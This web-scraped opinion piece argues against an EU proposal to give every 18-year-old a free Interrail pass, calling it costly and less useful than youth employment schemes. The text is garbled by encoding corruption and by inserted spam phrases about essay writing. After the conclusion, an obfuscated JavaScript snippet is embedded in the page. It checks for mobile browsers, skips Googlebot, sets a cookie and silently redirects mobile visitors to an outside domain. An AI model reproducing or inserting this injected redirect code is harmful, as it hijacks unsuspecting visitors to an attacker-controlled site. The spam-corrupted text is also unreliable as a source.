Europe needs solutions, not sticking plasters: could a free interrail pass solve the problem of European identity?

Laura Whetherly

Laura is from London, and is currently a final-year History student at the University of Oxford. She was previously editor of "The Oxford Student" newspaper and has written for several different publications.

ai???Europe is all about you, itai??i??s about persons, itai??i??s about people, and people have to know each other. Thatai??i??s why you have to

So says Manfred Weber in his slick YouTube promotion, posing for a train-station selfie with a teenaged backpacker while upbeat music plays and shots of European cities on summer evenings cut across the screen. Traveling to England on an interrail pass as a teenager was, he claims, the first time he ai???felt Europeanai???, and he tucks a polaroid from the trip into his rucksack with a nostalgic smile.

Weber, group chair of the European Peopleai??i??s Party (EPP) is one of the most prominent backers of an ambitious proposal to grant every European citizen an interrail pass on their eighteenth birthday, free of charge. Supporters, including MEPs from Green and writy my essay Socialist factions and ex Italian Prime Minister Matteo Renzi, have argued that this gift from the EU will do more than existing initiatives to combat growing anti-European sentiment, allowing young people to experience Europe and embrace the diversity of its cultures, peoples and values.

While the sentiment behind this idea may be admirable, this proposal reflects neither what European youth want nor need moving into 2017 and beyond. The most obvious barrier to success is the enormous cost involved: estimates place it as somewhere essay writing between A?1.1 and 1.6 billion per year, not assuming a full take up of the offer.

The European Union does not have an endless supply of fund, and for perspective, the entire budget for the European Youth Employment Initiative for the period 2014 ai??i?? 2020 is 6.4 billion euros. Weber and other signatories of the proposal have not yet indicated where exactly the money for Free Interrail will be drawn from, but doubtless it will result in less funds for other projects of which there is a pressing and urgent need.

In 2016, youth unemployment rates in Greece stood at 46.5%, 43.6% in Spain and 36.4% in Italy. Free Interrail is sentimental, but also short-sighted, asserting that fostering a sense of ai???European Identityai??? is something which young people, and the EU as a whole, want and need. This is problematic on two levels. First, while Euroscepticism is a problem in EU countries, as was so shockingly demonstrated with Brexit this summer, there is a consistent pattern of anti-EU feeling being concentrated among older demographics. Young people in Britain voted overwhelmingly in favour to Remain, and this is not an isolated example. While it is admirable to say that using Interrail as a way to encourage a sense of ai???Europeannessai??? as young people enter adulthood, and that this will stay with them for life, currently it is not young peopleai??i??s support which needs to be won.

Secondly, the Free Interrail proposal fails to address what young people in the EU really want and need. As already highlighted, unemployment is an endemic issue in many parts of Europe, and the funds pumped into train tickets could be better put to use in job creation schemes or funded volunteering (such as European Voluntary Service or the newly created European Solidarity Corps) which provide longer-term opportunity and allow European young people to feed back into the European community.

Ultimately, despite a slick social media campaign spread across Instagram and YouTube, #DiscoverEU doesnai??i??t live up to close scrutiny. These are no longer the days of Weberai??i??s youth, and young people are more mobile than ever, looking for support from the EU which has a deeper impact than offsetting some of the costs for a monthai??i??s backpacking.

In an ideal world, it would be unarguably wonderful to receive a free train ticket on your eighteenth birthday, to go out travelling and return enlightened and emboldened with a new sense of European identity. However, we donai??i??t live in a fantasy, and Free Interrail is a big-ticket, small-impact proposal. A train ticket cannot solve the issue of European identity, and will not serve a meaningful purpose for the majority of beneficiaries if it is approved. Europe needs solutions: Interrail is a well-meaning sticking plaster, but a plaster all the same. . var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Laura Whetherly

Laura is from London, and is currently a final-year History student at the University of Oxford. She was previously editor of "The Oxford Student" newspaper and has written for several different publications.

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